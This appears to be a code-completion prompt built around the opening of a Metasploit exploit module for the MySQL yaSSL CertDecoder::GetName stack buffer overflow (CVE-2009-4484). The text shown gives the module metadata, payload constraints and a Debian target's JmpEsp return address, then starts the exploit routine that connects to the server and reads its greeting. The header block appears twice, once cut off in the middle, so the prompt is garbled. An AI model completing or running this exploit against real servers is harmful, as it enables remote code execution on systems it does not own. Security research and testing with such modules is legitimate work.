You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: mysql_yassl_getname.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/mysql
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
        implementation bundled with MySQL. By sending a specially crafted
        client certificate, an attacker can execute arbitrary code.

        This vulnerability is present within the CertDecoder::GetName function inside
        "taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
        within a parent function's stack frame.

        NOTE: This vulnerability requires a non-default configuration. First, the attacker
        must be able to pass the host-based authentication. Next, the server must be
        configured to listen on an accessible network interface.  Lastly, the server
        must have been manually configured to use SSL.

        The binary from version 5.5.0-m2 was built with /GS and /SafeSE
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
        implementation bundled with MySQL. By sending a specially crafted
        client certificate, an attacker can execute arbitrary code.

        This vulnerability is present within the CertDecoder::GetName function inside
        "taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
        within a parent function's stack frame.

        NOTE: This vulnerability requires a non-default configuration. First, the attacker
        must be able to pass the host-based authentication. Next, the server must be
        configured to listen on an accessible network interface.  Lastly, the server
        must have been manually configured to use SSL.

        The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
        on Windows XP SP3, these protections successfully prevented exploitation.

        Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
        present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
        package were not exploitable due to the use of the compiler's FORTIFY feature.

        Although suse11 was mentioned in the original blog post, the binary package they
        provide does not contain yaSSL or support SSL.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-4484' ],
          [ 'BID', '37640' ],
          [ 'BID', '37943' ],
          [ 'BID', '37974' ],
          [ 'OSVDB', '61956' ],
          [ 'URL', 'http://web.archive.org/web/20100129041727/http://secunia.com:80/advisories/38344/' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 1046,
          'BadChars' => "",
          'StackAdjustment' => -3500,
          'DisableNops' => true
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)',  { 'JmpEsp' => 0x0807dc34 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2010-01-25'))

    register_options([ Opt::RPORT(3306) ], self)
  end

  def exploit

    connect

    # read the mysql server hello :)
    version = nil
    if (buf = sock.get_once(-1, 5) || '')
      #print_status("\n" + Rex::Text.to_hex_dump(buf))
      if (buf =~ /is not allowed to connect/)
        fail_with(Failure::Unreachable, 'The server refused our connection!')
      end

      len1,cmd = buf[0,5].unpack('VC')
      rest = buf[5,len1]
      idx = rest.index("\x00")
      if (idx)
        version = rest[0,idx]
        print_status("Server reports version: #{version}")
      end
    end